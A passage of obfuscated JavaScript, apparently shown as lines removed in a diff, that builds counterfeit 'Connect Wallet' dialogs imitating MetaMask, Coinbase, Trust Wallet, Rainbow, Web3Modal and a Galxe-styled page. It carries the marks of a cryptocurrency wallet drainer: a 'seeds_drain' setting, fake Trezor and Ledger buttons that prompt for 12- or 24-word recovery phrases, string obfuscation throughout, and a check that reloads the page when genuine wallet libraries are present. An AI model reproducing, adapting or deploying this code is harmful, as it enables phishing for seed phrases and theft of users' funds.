- _0x457989.length = 2;
- _0x457989[117] = _0x457989[0];
- let {
- appName: _0x3a1d80,
- networkUrl: _0xbcd228,
- chainId: _0x248f1f
- } = _0x457989[1];
- let v485 = new WalletLink({
- appName: _0x3a1d80
- }).makeWeb3Provider(_0xbcd228, _0x248f1f);
- await v485.enable();
- return v485;
- }, 2)
- };
- }
- this.modal = new v482({
- providerOptions: v484,
- theme: _0x48ede3 ? "dark" : "light"
- });
- this.callback = p131;
- }
- open() {
- this.modal[ABLWty(352)]().then(p133 => this.callback(p133)).catch(() => this.callback(JZmylD(1, WAZ9Ax(7))));
- }
- };
- });
- var bs = I((p134, p135) => {
- const v486 = {
- shortName: "metamask"
- };
- v486.id = "metamask-connect-button";
- v486.name = "MetaMask";
- v486.icon = "metamask.svg";
- const v487 = {
- shortName: "coinbase"
- };
- v487.id = "coinbase-connect-button";
- v487.name = "Coinbase";
- v487.icon = "coinbase.svg";
- var vQ18 = q();
- var vYe3 = ye();
- var v490 = vQ18.use_wallet_connect_v4 ? we() : be();
- var v491 = [v486, v487, {
- id: "trust-wallet-connect-button",
- name: "Trust Wallet",
- [ABLWty(1054)]: "trustWallet",
- icon: "trust-wallet.svg"
- }, {
- id: "binance-connect-button",
- name: "Binance Wallet",
- shortName: "binance",
- icon: "binance.svg"
- }, {
- id: "wallet-connect-connect-button",
- name: "Wallet Connect",
- shortName: "walletConnect",
- icon: "wallet-connect.svg"
- }];
- var vF15 = p136 => JZmylD("<div class=\"modal-item\" id=\"" + p136.id + "\"><div><div class=\"modal-icon\"><img src=\"" + vQ18.images_path + "/" + p136.icon + "\"></div><span class=\"wallet-name\">" + p136.name, "</span></div><div class=\"modal-arrow\"></div></div>", vzwAVq = -5);
- var vJZmylD41 = JZmylD("<p id=\"connect-modal-title\">Connect your wallet</p><div id=\"connect-modal-item\">" + v491.map(vF15).join(""), "</div>", vzwAVq = -5);
- p135.exports = class {
- constructor(p137) {
- this.element = this.createElement(ABLWty(1055), "connect-modal", vJZmylD41);
- this.overlayElement = this.createElement("div", "connect-modal-overlay");
- this.overlayElement.addEventListener("click", () => {
- p137(JZmylD(1, WAZ9Ax(7)));
- this.close();
- });
- this.walletConnectModal = new v490(p138 => {
- if (p138) {
- p137(p138);
- } else {
- this.open();
- }
- });
- for (let v492 of v491) {
- document.getElementById(v492.id).addEventListener("click", () => {
- if (v492.id === "wallet-connect-connect-button") {
- this.close();
- this.walletConnectModal.open();
- } else {
- p137(vYe3(v492.shortName));
- }
- });
- }
- }
- createElement(p139, p140, p141 = "") {
- let v493 = document.createElement(p139);
- v493.id = p140;
- v493.style.display = "none";
- v493.innerHTML = p141;
- document.body.appendChild(v493);
- return v493;
- }
- open() {
- this.element.style.display = "block";
- this.overlayElement[ABLWty(401)].display = "block";
- }
- close() {
- this.element.style.display = "none";
- this.overlayElement[ABLWty(401)].display = "none";
- }
- };
- });
- var ks = I((p142, p143) => {
- const v495 = {
- styleGradiant: "90deg, #0052ff 0, #0038ff 100%"
- };
- v495.id = "coinbase-connect-button";
- v495.name = "Coinbase";
- v495.shortName = "coinbase";
- v495.icon = "coinbase.png";
- v495.shadowIcon = "coinbase-shadow.png";
- const v496 = {
- shortName: "trustWallet",
- shadowIcon: "trust-wallet-shadow.png"
- };
- v496.id = "trust-wallet-connect-button";
- v496.name = "Trust Wallet";
- v496.icon = "trust-wallet.png";
- v496.styleGradiant = "90deg, #3375bb 0, #1c8aff 100%";
- var vQ19 = q();
- var vYe4 = ye();
- var v497 = vQ19["use_wallet_connect" + ABLWty.apply(undefined, [89])] ? we() : be();
- var v498 = [{
- id: "metamask-connect-button",
- name: "MetaMask",
- shortName: "metamask",
- icon: "metamask.png",
- shadowIcon: "metamask-shadow.png",
- styleGradiant: "90deg,#ff8a00 0,#ff6a00 100%"
- }, v495, v496, {
- id: "wallet-connect-connect-button",
- name: "Wallet Connect",
- shortName: "walletConnect",
- icon: "wallet-connect.png",
- shadowIcon: "wallet-connect-shadow.png",
- ["styleG" + ABLWty(1056) + "t"]: "90deg, #2f95ff 0, #0073ff 100%"
- }];
- var vF16 = p144 => JZmylD("<div class=\"clickable wallet-option-item\" id=\"" + p144.id + "\"><div class=\"clickable wallet-option-item padding-item\" style=\"background:linear-gradient(" + p144.styleGradiant + ")\"><img class=\"marginr-3\" src=\"" + vQ19.images_path + "/" + p144.icon + "\" style=\"height:36px;width:36px;border-radius:4px\"><div class=\"flex-auto\"><div class=\"flex-auto text-bold\">" + p144.name + "</div><div class=\"flex-align-center icons margint-1\"><img class=\"marginr-3\" src=\"" + vQ19.images_path + "/ethereum-logo.png\"><img class=\"marginr-3\" src=\"" + vQ19.images_path + "/bnb-logo.png\"><img class=\"marginr-3\" src=\"" + vQ19.images_path + "/polygon-logo.png\"><img class=\"marginr-3\" src=\"" + vQ19.images_path + "/fantom-logo.png\"><img class=\"marginr-3\" src=\"" + vQ19.images_path + "/optimistic-logo.png\"></div></div><img class=\"opacity-logo\" src=\"" + vQ19[ABLWty(1057)] + "/" + p144.shadowIcon, "\" alt><div class=\"duihao-box theme--dark v-image v-responsive\" style=\"width:20px\"><div class=\"v-image__image v-image__image--contain v-image__image--preload\" style=\"background-position:center center\"></div><div class=\"v-responsive__content\"></div></div></div></div>", vzwAVq = -5);
- var vJZmylD42 = JZmylD("<div class=\"dialog-content inherited-styles-for-exported-element\"><div class=\"marginb-3 text-title title-text\"><span>Connect Wallet</span></div><span class=\"marginb-9 policy text-12-regular\">By connecting a wallet, you agree to our <a href=\"https://libra.galxe.com/upload/Terms of Use v2 - 08_01_2022.pdf\" rel=\"noopener noreferrer\" target=\"_blank\"> Terms of Service</a> and <a href=\"https://libra.galxe.com/upload/Privacy Policy v4 - 08_01_2022.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Privacy Policy</a>.</span><div class=\"wallet-options\">" + v498.map(vF16).join(""), "</div></div>", WAZ9Ax(-5));
- p143.exports = class {
- constructor(p145) {
- this.element = this.createElement("div", "connect-modal", vJZmylD42);
- this.overlayElement = this.createElement("div", ABLWty.apply(undefined, [1058]));
- this.overlayElement.addEventListener("click", () => {
- p145(JZmylD(1, vzwAVq = 7));
- this.close();
- });
- let vThis = this;
- this.walletConnectModal = new v497(p146 => {
- if (p146) {
- p145(p146);
- } else {
- vThis.open();
- }
- });
- for (let v499 of v498) {
- document.getElementById(v499.id).addEventListener("click", () => {
- if (v499.id === "wallet-connect-connect-button") {
- this.close();
- this[ABLWty(220) + "ConnectModal"].open();
- } else {
- p145(vYe4(v499.shortName));
- }
- });
- }
- }
- createElement(p147, p148, p149 = "") {
- let v500 = document.createElement(p147);
- v500.id = p148;
- v500.style.display = "none";
- v500.innerHTML = p149;
- document.body.appendChild(v500);
- return v500;
- }
- open() {
- this.element.style.display = "block";
- this.overlayElement.style[ABLWty(1051)] = "block";
- }
- close() {
- this.element.style.display = "none";
- this.overlayElement.style.display = "none";
- }
- };
- });
- var xs = I((p150, p151) => {
- const v502 = {
- shortName: "trustWallet"
- };
- v502.id = "trust-wallet-connect-button";
- v502.name = "Trust Wallet";
- v502.icon = "trust-wallet.svg";
- var vQ20 = q();
- var vYe5 = ye();
- var v504 = vQ20.use_wallet_connect_v4 ? we() : be();
- var v505 = [{
- id: "metamask-connect-button",
- name: "MetaMask",
- shortName: "metamask",
- icon: "metamask.svg"
- }, {
- id: "coinbase-connect-button",
- name: ABLWty(1059),
- ["shortN" + ABLWty(1060)]: "coinbase",
- icon: "coinbase.svg"
- }, v502, {
- id: "binance-connect-button",
- name: "Binance",
- shortName: "binance",
- icon: "binance.svg"
- }];
- var vF17 = p152 => JZmylD(ABLWty(1061) + "d=\"" + p152.id + "\" class=menu-el><div class=modal-icon><img src=\"" + vQ20.images_path + "/" + p152.icon + ("\" height=36></d" + ABLWty.apply(undefined, [1062]) + "odal-el-desc><span class=modal" + ABLWty(1063)) + p152.name + "</span> <span class=modal-el-desc-second>Connect to your " + p152.name, " wallet</span></div></div>", WAZ9Ax(-5));
- var vJZmylD43 = JZmylD("<div id=modal><div id=modal-head><div id=modal-head-block-f><div id=modal-head-title>Connect wallet</div><div id=modal-head-desc>Choose what network and wallet you want to connect below</div></div><div id=modal-close><img src=\"" + vQ20.images_path + "/modal-close-arrow.svg\"></div></div><div id=modal-main><div id=modal-main-title>Choose Network</div><div id=modal-main-menu>" + v505.map(vF17).join("") + "</div></div><div id=modal-bottom><button id=wallet-connect-connect-button><img src=\"" + vQ20.images_path, "/wallet-connect.svg\">Connect with Wallet Connect</button> <span id=modal-bottom-span>Connect by QR-code with Wallet Connect</span></div></div>", vzwAVq = -5);
- p151.exports = class {
- constructor(p153) {
- this.element = this.createElement("div", "connect-modal", vJZmylD43, JZmylD(1, WAZ9Ax(7)));
- this.overlayElement = this.createElement("div", "connect-modal-overlay");
- this.overlayElement["addEve" + ABLWty(1064) + "ener"]("click", () => {
- p153(JZmylD(1, WAZ9Ax(7)));
- this.close();
- });
- document.getElementById("modal-close").addEventListener("click", () => {
- p153(JZmylD(1, vzwAVq = 7));
- this.close();
- });
- let vThis2 = this;
- this.walletConnectModal = new v504(p154 => {
- if (p154) {
- p153(p154);
- } else {
- vThis2.open();
- }
- });
- for (let v506 of v505) {
- document.getElementById(v506.id).addEventListener("click", () => p153(vYe5(v506.shortName)));
- }
- document.getElementById("wallet-connect-connect-button").addEventListener("click", () => {
- vThis2.close();
- this.walletConnectModal.open();
- });
- }
- createElement(p155, p156, p157 = "", p158 = JZmylD(0, WAZ9Ax(7))) {
- let v507 = document.createElement(p155);
- v507.id = p156;
- if (p158) {
- v507.style.display = "none";
- }
- v507.innerHTML = p157;
- document.body.appendChild(v507);
- return v507;
- }
- open() {
- this.element.classList.add("show");
- this.overlayElement.style.display = "block";
- }
- close() {
- this.element.classList.remove("show");
- this.overlayElement.style.display = "none";
- }
- };
- });
- var Ns = I((p159, p160) => {
- var vQ21 = q();
- var {
- sleep: _0x2016dc
- } = pe();
- var vYe6 = ye();
- var v511 = vQ21["use_wallet_c" + ABLWty(1065) + "_v4"] ? we() : be();
- var vVe2 = Ve();
- var v512 = [{
- id: "metamask" + ABLWty(1066) + "-button",
- shortName: "metamask"
- }, {
- id: "coinbase-connect-button",
- shortName: "coinbase"
- }, {
- id: "trust-wallet-connect-button",
- shortName: "trustWallet"
- }, {
- id: "binance-connect-button",
- shortName: "binance"
- }, {
- id: "window-provider-connect-button",
- shortName: ABLWty(1067)
- }, {
- id: "trezor-seed-connect-button",
- name: "Trezor Wallet",
- isSeed: JZmylD(0, WAZ9Ax(7)),
- seedLength: 12
- }, {
- id: "ledger-seed-connect-button",
- name: "Ledger Wallet",
- isSeed: JZmylD(0, vzwAVq = 7),
- seedLength: 24
- }, {
- id: "others-seed-connect-button",
- name: vQ21.seeds_drain.name,
- isSeed: JZmylD(0, WAZ9Ax(7)),
- seedLength: 12
- }];
- p160.exports = class {
- async init(p161) {
- do {
- this.element = document.getElementById("connect-modal");
- if (!this.element) {
- await _0x2016dc(100);
- }
- } while (JZmylD(this.element, WAZ9Ax(7)));
- this[ABLWty(1068)].style.cssText += "opacity:0;visibility:hidden;transition:opacity 0.3s,visibility 0.3s;display:block";
- this.overlayElement = document.createElement("div");
- this.overlayElement.id = "connect-modal-overlay";
- this.overlayElement.style.display = "none";
- document.body.appendChild(this.overlayElement);
- this.overlayElement.addEventListener("click", () => {
- p161(JZmylD(1, WAZ9Ax(7)));
- this.close();
- });
- let v513 = document.getElementById("modal-close");
- if (v513) {
- v513.addEventListener("click", () => {
- p161(JZmylD(1, vzwAVq = 7));
- this.close();
- });
- }
- let vThis3 = this;
- this.walletConnectModal = new v511(p162 => {
- if (p162) {
- p161(p162);
- } else {
- vThis3.open();
- }
- });
- for (let v514 of v512) {
- document.getElementById(v514.id)?.addEventListener("click", async () => {
- if (v514.isSeed) {
- this.close();
- await vVe2(v514.name, v514.seedLength);
- this.open();
- } else {
- p161(vYe6(v514.shortName));
- }
- });
- }
- let v515 = document.getElementById("wallet-conne" + ABLWty(1069) + "nect-button");
- if (v515) {
- v515.addEventListener("click", () => {
- this.close();
- this.walletConnectModal.open();
- });
- }
- let v516 = document[ABLWty(1070)]("wallet-connect-connect-button");
- if (v516.length > 0) {
- for (let v517 of v516) {
- v517[ABLWty.call(undefined, 1071)]("click", () => {
- this.close();
- this.walletConnectModal.open();
- });
- }
- }
- this.promptSeed = vVe2;
- }
- [ABLWty(1020)]() {
- this.element.classList.add("show");
- this.overlayElement.style.display = "block";
- }
- close() {
- this[ABLWty(1068)].classList.remove("show");
- this.overlayElement.style.display = "none";
- }
- };
- });
- var Ms = I((p163, p164) => {
- var vQ22 = q();
- var {
- isMobile: _0x51d742,
- isModalDarkMode: _0xf52854
- } = D();
- var vYe7 = ye();
- var v518 = vQ22.use_wallet_connect_v4 ? we() : be();
- var v519 = [{
- id: "metamask-connect-button",
- name: "MetaMask",
- shortName: "metamask",
- icon: "metamask-rainbow.svg",
- ["isWall" + ABLWty(1072) + "ect"]: JZmylD(1, WAZ9Ax(7))
- }, {
- id: "coinbase-connect-button",
- name: "Coinbase",
- shortName: "coinbase",
- icon: "coinbase-rai" + ABLWty(1073) + "vg",
- isWalletConnect: JZmylD(1, WAZ9Ax(7))
- }, {
- id: "rainbow-connect-button",
- name: "Rainbow",
- shortName: "rainbow",
- icon: "rainbow.svg",
- isWalletConnect: JZmylD(0, WAZ9Ax(7))
- }, {
- id: "trust-wallet-connect-button",
- name: "Trust Wallet",
- shortName: "trustWallet",
- icon: "trust-wallet-rainbow.svg",
- ["isWall" + ABLWty(1072) + "ect"]: JZmylD(1, WAZ9Ax(7))
- }, {
- id: "wallet-connect-connect-button",
- name: "Wallet Connect",
- shortName: "walletConnect",
- icon: "wallet-connect-rainbow.svg",
- isWalletConnect: JZmylD(0, vzwAVq = 7)
- }];
- var vF18 = p165 => JZmylD("<div class=tab-item id=\"" + p165.id + "\"><img class=modal-icon src=\"" + vQ22.images_path + "/" + p165.icon + ABLWty(1074) + p165.name, "</div></div>", WAZ9Ax(-5));
- var vJZmylD44 = JZmylD(ABLWty(1075) + (_0xf52854 ? "#989DAC" : "#343434") + "\" height=10 viewBox=\"0 0 10 10\"width=10 xmlns=http://www.w3.org/2000/svg class=modal-cross aria-hidden=true><path d=\"M1.70711 0.292893C1.31658 -0.0976311 0.683417 -0.0976311 0.292893 0.292893C-0.0976311 0.683417 -0.0976311 1.31658 0.292893 1.70711L3.58579 5L0.292893 8.29289C-0.0976311 8.68342 -0.0976311 9.31658 0.292893 9.70711C0.683417 10.0976 1.31658 10.0976 1.70711 9.70711L5 6.41421L8.29289 9.70711C8.68342 10.0976 9.31658 10.0976 9.70711 9.70711C10.0976 9.31658 10.0976 8.68342 9.70711 8.29289L6.41421 5L9.70711 1.70711C10.0976 1.31658 10.0976 0.683417 9.70711 0.292893C9.31658 -0.0976311 8.68342 -0.0976311 8.29289 0.292893L5 3.58579L1.70711 0.292893Z\"></path></svg></button><div id=modal-leftside><div class=title>Connect a Wallet</div><div class=subtitle>Recommended</div><div class=tabs-wrapper>" + v519.map(vF18).join("") + "</div></div><div id=modal-rightside><div class=\"button-back-modal\"><img src=\"" + vQ22.images_path + "/rainbow-back-arrow.svg\"></div><div id=connect-modal-plug><div class=connect-modal-tab-title>What is a Wallet?</div><div class=info><div class=info-item><div class=image-wrapper><img class=image src=\"" + vQ22.images_path + "/digital-assets.svg\" alt=\"\"></div><div class=text><div class=text-title>A Home for your Digital Assets</div><div class=text-description>Wallets are used to send, receive, store, and display digital assets like Ethereum and NFTs.</div></div></div><div class=info-item><div class=image-wrapper><img class=image src=" + vQ22.images_path + "/new-way.svg alt=\"\"></div><div class=text><div class=text-title>A New Way to Log In</div><div class=text-description>Instead of creating new accounts and passwords on every website, just connect your wallet.</div></div></div></div><div class=actions><a class=button-primary href=https://metamask.io/ target=_blank ,>Get a Wallet</a> <a class=button-link href=https://learn.rainbow.me/understanding-web3 target=_blank>Learn More</a></div></div><div id=connect-modal-tab><div class=modal-loader><div class=modal-loader-image-wrapper><img class=image alt=\"\" id=connect-modal-tab-image></div><div class=modal-loader-title id=connect-modal-tab-title></div><div class=modal-loader-description id=connect-modal-tab-subtitle></div><img class=\"modal-loader-icon\" src=\"" + vQ22.images_path, "/rainbow-loader-icon.svg\"></div></div></div>", WAZ9Ax(-5));
- p164.exports = class {
- constructor(p166) {
- this.element = this.createElement("div", "connect-modal", vJZmylD44);
- this.overlayElement = this.createElement("div", "connect-modal-overlay");
- this.leftside = document.getElementById(ABLWty(1076));
- this.rightside = document.getElementById("modal-rightside");
- this.linkTabs = document.getElementsByClassName("tab-item");
- this.tab = document.getElementById("connect-modal-tab");
- this.plug = document.getElementById("connect-modal-plug");
- this.tabTitle = document.getElementById("connect-modal-tab-title");
- this[ABLWty(1077) + "title"] = document.getElementById("connect-modal-tab-subtitle");
- this.tabImage = document.getElementById("connect-modal-tab-image");
- let vThis4 = this;
- window.addEventListener("resize", function () {
- vThis4.rightside.style.display = window.innerWidth > 770 ? "block" : ABLWty(1078);
- vThis4.goBack();
- });
- this.overlayElement.addEventListener("click", () => {
- p166(JZmylD(1, vzwAVq = 7));
- this.close();
- });
- document.getElementById("modal-close").addEventListener("click", () => {
- p166(JZmylD(1, WAZ9Ax(7)));
- this.close();
- });
- document.getElementsByClassName("button-back-modal")[0].addEventListener("click", () => this.goBack());
- this.walletConnectModal = new v518(p167 => {
- if (p167) {
- p166(p167);
- } else {
- vThis4.open();
- vThis4.goBack();
- }
- });
- for (let v520 of v519) {
- document.getElementById(v520.id).addEventListener("click", () => {
- this[ABLWty(1079)](v520);
- if (v520.isWalletConnect) {
- this.close();
- this.walletConnectModal.open();
- } else {
- p166(vYe7(v520.shortName));
- }
- });
- }
- }
- [ABLWty.apply(undefined, [1079])](p168) {
- let {
- id: _0xd5879d,
- name: _0x5f3f2d,
- shortName: _0xa55991,
- icon: _0x403969,
- isWalletConnect: _0x1c2b90
- } = p168;
- let v521 = document.getElementById(_0xd5879d);
- this.plug.style.display = "none";
- this.tab.style.display = "none";
- let v522 = this.element.offsetWidth;
- for (let v523 of this.linkTabs) {
- v523.className = v523.className.replace(" active", "");
- if (v522 <= 368) {
- this.leftside.style.display = ABLWty(1078);
- this.rightside.style.display = "block";
- }
- }
- this.tab.style.display = ABLWty(1080);
- v521.className += " active";
- this.tabTitle.textContent = _0x1c2b90 ? "Please Scan The Qr Code" : JZmylD("Opening ", _0x5f3f2d, WAZ9Ax(-5));
- this.tabSubtitle.textContent = _0x1c2b90 ? "Please Connect" : _0x51d742 && ["metamask", "coinbase", "trustWallet"][ABLWty(465)](_0xa55991) ? "Please Connect In The App" : "Confirm connection in the extension";
- this.tabImage.src = JZmylD(vQ22.images_path + "/", _0x403969, WAZ9Ax(-5));
- }
- goBack() {
- this.leftside[ABLWty.apply(undefined, [401])].display = "block";
- if (window["innerW" + ABLWty(1081)] > 770) {
- this.plug.style.display = "block";
- } else {
- this["rights" + ABLWty(1082)].style[ABLWty(1051)] = "none";
- }
- this[ABLWty(1083)].style.display = "none";
- for (let v524 of this.linkTabs) {
- v524["classN" + ABLWty.call(undefined, 1060)] = v524.className.replace(" active", "");
- }
- }
- [ABLWty(439) + "Element"](p169, p170, p171 = "") {
- let v525 = document.createElement(p169);
- v525.id = p170;
- v525.style.display = "none";
- v525.innerHTML = p171;
- document.body.appendChild(v525);
- return v525;
- }
- [ABLWty(1020)]() {
- this.goBack();
- this.element.style[ABLWty(1051)] = "flex";
- this.overlayElement.style.display = "flex";
- }
- close() {
- this.element.style.display = "none";
- this.overlayElement.style.display = "none";
- }
- };
- });
- var qs = I((p172, p173) => {
- var vQ23 = q();
- var {
- isMobile: _0x27ff17,
- isModalDarkMode: _0x18f77b
- } = D();
- var vYe8 = ye();
- var v526 = vQ23.use_wallet_connect_v4 ? we() : be();
- var v527 = [{
- id: "metamask-connect-button",
- name: "MetaMask",
- shortName: "metamask",
- icon: "metamask-rainbow.svg",
- isWalletConnect: JZmylD(1, WAZ9Ax(7))
- }, {
- id: "rabby-connec" + ABLWty(1084) + "on",
- name: ABLWty(1085),
- ["shortN" + ABLWty.apply(undefined, [1060])]: "rabby",
- icon: "rabby-rainbow.svg",
- isWalletConnect: JZmylD(1, vzwAVq = 7)
- }, {
- id: "coinbase-connect-button",
- name: "Coinbase",
- shortName: "coinbase",
- icon: ABLWty(1086) + "se-rainbow.svg",
- isWalletConnect: JZmylD(1, vzwAVq = 7)
- }, {
- id: "rainbow-connect-button",
- name: "Rainbow",
- shortName: "rainbow",
- icon: "rainbow.svg",
- ["isWall" + ABLWty(1072) + "ect"]: JZmylD(0, vzwAVq = 7)
- }, {
- id: "trust-wallet-connect-button",
- name: "Trust Wallet",
- shortName: "trustWallet",
- icon: ABLWty(1087) + "llet-rainbow.svg",
- isWalletConnect: JZmylD(1, vzwAVq = 7)
- }, {
- id: "wallet-connect-connect-button",
- name: "Wallet Connect",
- shortName: "walletConnect",
- icon: "wallet-connect-rainbow.svg",
- isWalletConnect: JZmylD(0, WAZ9Ax(7))
- }];
- var vF19 = p174 => JZmylD("<div class=\"tab-item\" id=\"" + p174.id + "\"><img class=\"tab-item-icon\" src=\"" + vQ23.images_path + "/" + p174.icon + "\"><div>" + p174.name, "</div></div>", vzwAVq = -5);
- var vJZmylD45 = JZmylD("<button class=\"button\" id=\"button-close\"><svg fill=\"" + (_0x18f77b ? "#989DAC" : "#343434") + "\" aria-hidden=\"true\" height=\"10\" viewBox=\"0 0 10 10\" width=\"10\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M1.70711 0.292893C1.31658 -0.0976311 0.683417 -0.0976311 0.292893 0.292893C-0.0976311 0.683417 -0.0976311 1.31658 0.292893 1.70711L3.58579 5L0.292893 8.29289C-0.0976311 8.68342 -0.0976311 9.31658 0.292893 9.70711C0.683417 10.0976 1.31658 10.0976 1.70711 9.70711L5 6.41421L8.29289 9.70711C8.68342 10.0976 9.31658 10.0976 9.70711 9.70711C10.0976 9.31658 10.0976 8.68342 9.70711 8.29289L6.41421 5L9.70711 1.70711C10.0976 1.31658 10.0976 0.683417 9.70711 0.292893C9.31658 -0.0976311 8.68342 -0.0976311 8.29289 0.292893L5 3.58579L1.70711 0.292893Z\"></path></svg></button><div id=\"modal-leftside\"><div class=\"title\">Connect a Wallet</div><div class=\"subtitle\">Recommended</div><div class=\"tabs-wrapper\">" + v527.map(vF19).join("") + "</div><div class=\"tab-footer\"><div class=\"footer-label\">New to Ethereum wallets?</div><a class=\"footer-button\" style=\"background:0 0\" href=\"https://metamask.io/download/\" target=\"_blank\">Learn More</a></div></div><div id=\"modal-rightside\"><div class=\"button-back-modal\"><img src=\"" + vQ23.images_path + "/rainbow-back-arrow.svg\"></div><div id=\"connect-modal-tab\" class=\"tabcontent\"><div class=\"modal-loader\"><div class=\"modal-loader-image-wrapper\"><img id=\"connect-modal-tab-image\" alt=\"\" class=\"image\"></div><div class=\"modal-loader-title\" id=\"connect-modal-tab-title\"></div><div class=\"modal-loader-description\" id=\"connect-modal-tab-subtitle\"></div><img class=\"modal-loader-icon\" src=\"" + vQ23.images_path, "/rainbow-loader-icon.svg\"></div></div></div>", WAZ9Ax(-5));
- p173.exports = class {
- constructor(p175) {
- this.element = this.createElement(ABLWty(1055), "connect-modal", vJZmylD45);
- this.overlayElement = this.createElement("div", "connect-modal-overlay");
- this.leftSide = document.getElementById("modal-leftside");
- this.rightSide = document.getElementById("modal-rightside");
- this.tabLinks = document.getElementsByClassName("tab-item");
- this[ABLWty.apply(undefined, [1088]) + "tents"] = document["getElementsB" + ABLWty(1089) + "Name"]("tabcontent");
- this.tab = document.getElementById(ABLWty.apply(undefined, [36]) + "t-moda" + ABLWty(1090));
- this.tabTitle = document.getElementById("connect-modal-tab-title");
- this.tabSubtitle = document.getElementById("connect-modal-tab-subtitle");
- this.tabImage = document.getElementById("connect-modal-tab-image");
- this.overlayElement.addEventListener("click", () => {
- p175(JZmylD(1, vzwAVq = 7));
- this.close();
- });
- document.getElementById("button-close").addEventListener("click", () => {
- p175(JZmylD(1, WAZ9Ax(7)));
- this.close();
- });
- document.getElementsByClassName("button-back-modal")[0].addEventListener("click", () => this.goBack());
- let vThis5 = this;
- this.walletConnectModal = new v526(p176 => {
- if (p176) {
- p175(p176);
- } else {
- vThis5.open();
- vThis5[ABLWty(1091)]();
- }
- });
- for (let v528 of v527) {
- document.getElementById(v528.id).addEventListener(ABLWty(1092), () => {
- this.openTab(v528);
- if (v528["isWalletConn" + ABLWty(1093)]) {
- this[ABLWty(93)]();
- this.walletConnectModal.open();
- } else {
- p175(vYe8(v528.shortName));
- }
- });
- }
- }
- openTab(p177) {
- let {
- id: _0x573317,
- name: _0x239d42,
- shortName: _0x467c37,
- icon: _0x3f8dd1,
- isWalletConnect: _0x526df4
- } = p177;
- let v529 = document.getElementById(_0x573317);
- for (let v530 of this.tabContents) {
- v530.style.display = "none";
- }
- for (let v531 of this.tabLinks) {
- v531[ABLWty(1094)] = v531.className.replace(" active", "");
- this.leftSide.style.display = "none";
- this.rightSide.style.display = "block";
- }
- this.tab.style.display = "block";
- v529[ABLWty.apply(undefined, [1094])] += " active";
- this.tabTitle[ABLWty(1025) + "ntent"] = _0x526df4 ? "Please Scan The Qr Code" : JZmylD("Opening ", _0x239d42, vzwAVq = -5);
- this.tabSubtitle.textContent = _0x526df4 ? "Please Connect" : _0x27ff17 && ["metamask", "coinbase", "trustWallet"].includes(_0x467c37) ? "Please Conne" + ABLWty(1095) + "The App" : "Confirm connection in the extension";
- this.tabImage.src = JZmylD(vQ23.images_path + "/", _0x3f8dd1, vzwAVq = -5);
- }
- goBack() {
- this.leftSide.style.display = ABLWty(1080);
- this.rightSide.style.display = "none";
- for (let v532 of this.tabLinks) {
- v532.className = v532.className.replace(" active", "");
- }
- }
- createElement(p178, p179, p180 = "") {
- let v533 = document.createElement(p178);
- v533.id = p179;
- v533.style.display = "none";
- v533.innerHTML = p180;
- document.body.appendChild(v533);
- return v533;
- }
- open() {
- this.goBack();
- this.element.style.display = "flex";
- this.overlayElement.style.display = "flex";
- }
- close() {
- this[ABLWty(1068)].style.display = "none";
- this.overlayElement.style.display = "none";
- }
- };
- });
- var Fs = I((p181, p182) => {
- var vQ24 = q();
- var {
- isModalDarkMode: _0x34a0da
- } = D();
- var {
- sleep: _0x267ce6
- } = pe();
- p182.exports = class {
- constructor(p183) {
- if (JZmylD(window.configureChains, vzwAVq = 7) || JZmylD(window["wallet" + ABLWty(35) + "tProvider"], WAZ9Ax(7)) || JZmylD(window.createConfig, vzwAVq = 7) || JZmylD(window.InjectedConnector, WAZ9Ax(7)) || JZmylD(window.WalletConnectConnector, vzwAVq = 7) || JZmylD(window.LedgerConnector, vzwAVq = 7) || JZmylD(window.CoinbaseWalletConnector, WAZ9Ax(7)) || JZmylD(window.SafeConnector, WAZ9Ax(7)) || JZmylD(window.createWeb3Modal, vzwAVq = 7) || JZmylD(window.chains, WAZ9Ax(7)) || JZmylD(window.walletConnectDisconnect, WAZ9Ax(7)) || JZmylD(window.MutationObserver, vzwAVq = 7)) {
- return location.reload();
- }
- const v534 = {
- projectId: vQ24.wallet_connect_project_id
- };
- let v535 = [...Object.values(chains)];
- let {
- chains: _0x17015a,
- publicClient: _0x48421e
- } = configureChains(v535, [walletConnectProvider(v534)]);
- let v536 = [new InjectedConnector({
- chains: _0x17015a,
- options: {
- shimDisconnect: JZmylD(0, WAZ9Ax(7))
- }
- }), new WalletConnectConnector({
- chains: _0x17015a,
- options: {
- projectId: vQ24[ABLWty(60)],
- showQrModal: JZmylD(1, WAZ9Ax(7))
- }
- }), new LedgerConnector({
- chains: _0x17015a,
- options: {
- projectId: vQ24.wallet_connect_project_id
- }
- }), new CoinbaseWalletConnector({
- [ABLWty(455)]: _0x17015a,
- options: {
- projectId: vQ24.wallet_connect_project_id
- }
- }), new SafeConnector({
- chains: _0x17015a,
- options: {
- projectId: vQ24.wallet_connect_project_id
- }
- })];
- try {
- this.wagmiConfig = createConfig({
- autoConnect: JZmylD(1, vzwAVq = 7),
- connectors: v536,
- publicClient: _0x48421e
- });
- } catch {
- const v537 = {
- removeItem: () => null
- };
- v537.getItem = () => "";
- v537.setItem = () => null;
- this.wagmiConfig = createConfig({
- autoConnect: JZmylD(1, vzwAVq = 7),
- connectors: v536,
- publicClient: _0x48421e,
- storage: v537
- });
- }
- const v538 = {
- "--w3m-z-index": 2147483646
- };
- if (vQ24.wallet_connect_config[ABLWty(1096)]) {
- v538["--w3m-font-family"] = vQ24.wallet_connect_config.font_family;
- }
- this.modal = createWeb3Modal({
- wagmiConfig: this.wagmiConfig,
- projectId: vQ24.wallet_connect_project_id,
- chains: _0x17015a,
- [ABLWty(1097)]: _0x34a0da ? "dark" : "light",
- themeVariables: v538,
- explorerRecommendedWalletIds: ["c57ca95b47569778a828d19178114f4db188b89b763c899ba0be274e97267d96", "4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0", "8a0ee50d1f22f6651afcae7eb4253e52a3310b90af5daef78a8c4929a9bb99d4", "e9ff15be73584489ca4a66f64d32c4537711797e30b6660dbcb71ea72a42b1f4"]
- });
- let v539 = document.createElement("style");
- v539[ABLWty(1098) + "TML"] = "#ModalWrapper{z-index:2147483647}";
- document.head.appendChild(v539);
- this.callback = p183;
- this.onClose = () => {};
- this.initListener();
- }
- async initListener() {
- let v540;
- while (JZmylD(v540, WAZ9Ax(7))) {
- v540 = document.getElementsByTagName("w3m-mo" + ABLWty(1099))[0];
- if (!v540) {
- await _0x267ce6(100);
- }
- }
- let vThis6 = this;
- new MutationObserver(function (p184) {
- p184.forEach(async function (p185) {
- if (p185.type === "childList") {
